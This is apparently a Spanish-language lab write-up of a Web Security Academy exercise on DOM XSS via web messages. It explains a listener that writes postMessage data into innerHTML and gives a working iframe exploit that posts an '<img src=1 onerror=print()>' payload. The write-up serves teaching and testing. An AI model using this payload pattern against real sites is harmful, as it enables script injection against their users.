Skip to content

DOM XSS using web messages

[20251007012335.png]

En el sitio web encontramos el siguiente contenido:

[20251007012513.png]

En el código fuente html encontraremos un apartado de código js

c
                    <script>
                        window.addEventListener('message', function(e) {
                            document.getElementById('ads').innerHTML = e.data;
                        })
                    </script>

El código javascript :

  • Escucha mensajeswindow.addEventListener('message', ...)

    • La ventana queda "escuchando" cualquier mensaje que le llegue
  • Procesa el mensajefunction(e)

    • Cuando recibe un mensaje, ejecuta esta función
    • e contiene los datos del mensaje
  • Inserta contenido SIN validardocument.getElementById('ads').innerHTML = e.data

    • Busca un elemento con id "ads"
    • Toma el contenido del mensaje (e.data)
    • Lo inserta DIRECTAMENTE como HTML usando innerHTML

Explotación

Paso 1: Carga el sitio vulnerable

c
src="http://0a5100bd036d91ff80638ae400690066.web-security-academy.net/"
  • Carga la aplicación vulnerable dentro del iframe

Paso 2: Espera a que cargue

c
onload="..."
  • El evento onload se dispara CUANDO el iframe termina de cargar

Paso 3: Envía el payload malicioso

c
this.contentWindow.postMessage('<img src=1 onerror=print()>','*')
  • this.contentWindow: Accede a la ventana del iframe (el sitio vulnerable)
  • postMessage(): Envía un mensaje
  • '<img src=1 onerror=print()>': El payload XSS
  • '*': Permite enviar a cualquier origen (sin restricciones)
c
<img src=1 onerror=print()>
  • <img>: Crea elemento imagen
  • src=1: Intenta cargar imagen inexistente (genera ERROR)
  • onerror=print(): Cuando falla la carga, EJECUTA print()
c
<iframe 
  src="http://0a5100bd036d91ff80638ae400690066.web-security-academy.net/" 
  onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">
</iframe>

Cuando se carga el iframe, el método postMessage() envía un mensaje web a la página de inicio. El detector de eventos, cuyo objetivo es mostrar anuncios, toma el contenido del mensaje web y lo inserta en el div con el ID ads. Sin embargo, en este caso inserta nuestra etiqueta img, que contiene un atributo src no válido. Esto genera un error, lo que hace que el controlador de eventos onerror ejecute nuestra carga útil.

Una vez construida nuestro iframe malicioso, podreceremos a enviar a la victima

[20251007015314.png]